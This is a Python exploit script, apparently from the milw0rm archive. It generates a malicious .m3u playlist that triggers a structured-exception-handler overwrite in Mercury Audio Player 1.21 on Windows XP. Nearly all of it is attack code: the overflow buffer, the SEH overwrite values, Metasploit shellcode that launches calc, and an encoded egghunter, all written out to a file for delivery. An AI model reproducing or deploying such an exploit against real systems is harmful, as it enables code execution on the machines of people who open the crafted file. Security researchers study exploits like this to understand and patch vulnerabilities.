#usage: exploit.py #Note : Exploit take about 30 seconds to work. print "**************************************************************************" print " Mercury Audio Player 1.21 (.m3u) Seh Overwrite Exploit\n" print " Refer: http://www.milw0rm.com/exploits/8578" print " Exploit code: His0k4" print " Tested on: Windows XP Pro SP3 (EN)\n" print " greetz: TO ELITE ALGERIANS (TixxDZ),snakespc.com\n" print "**************************************************************************" buff = "\x41" * 16740 next_seh = "\xEB\x06\x41\x42" seh = "\xB8\x15\xD1\x72" #msacm32.drv # win32_exec - EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com shellcode = ( "DZ27DZ27"+"\x90\x90\x90\x90\x90\x90\x90\x90" "\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x22\xd1\xdc" "\x59\x83\xeb\xfc\xe2\xf4\xde\x39\x98\x59\x22\xd1\x57\x1c\x1e\x5a" "\xa0\x5c\x5a\xd0\x33\xd2\x6d\xc9\x57\x06\x02\xd0\x37\x10\xa9\xe5" "\x57\x58\xcc\xe0\x1c\xc0\x8e\x55\x1c\x2d\x25\x10\x16\x54\x23\x13" "\x37\xad\x19\x85\xf8\x5d\x57\x34\x57\x06\x06\xd0\x37\x3f\xa9\xdd" "\x97\xd2\x7d\xcd\xdd\xb2\xa9\xcd\x57\x58\xc9\x58\x80\x7d\x26\x12" "\xed\x99\x46\x5a\x9c\x69\xa7\x11\xa4\x55\xa9\x91\xd0\xd2\x52\xcd" "\x71\xd2\x4a\xd9\x37\x50\xa9\x51\x6c\x59\x22\xd1\x57\x31\x1e\x8e" "\xed\xaf\x42\x87\x55\xa1\xa1\x11\xa7\x09\x4a\x21\x56\x5d\x7d\xb9" "\x44\xa7\xa8\xdf\x8b\xa6\xc5\xb2\xbd\x35\x41\xd1\xdc\x59") #[*] x86/alpha_mixed succeeded with size 126 (iteration=1) egghunter=( "\x89\xe5\xda\xd9\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x45\x36\x4d\x51\x48\x4a\x4b\x4f\x44\x4f\x51\x52\x46\x32\x42" "\x4a\x45\x52\x46\x38\x48\x4d\x46\x4e\x47\x4c\x45\x55\x51\x4a" "\x44\x34\x4a\x4f\x48\x38\x47\x34\x50\x5a\x50\x32\x50\x37\x4c" "\x4b\x4b\x4a\x4e\x4f\x43\x45\x4b\x5a\x4e\x4f\x42\x55\x4b\x57" "\x4b\x4f\x4d\x37\x41\x41") exploit = buff + shellcode + next_seh + seh + egghunter + "\x90"*7 try: out_file = open("exploit.m3u",'w') out_file.write(exploit+".mp3") out_file.close() raw_input("\nExploit file created!\n") except: print "Error"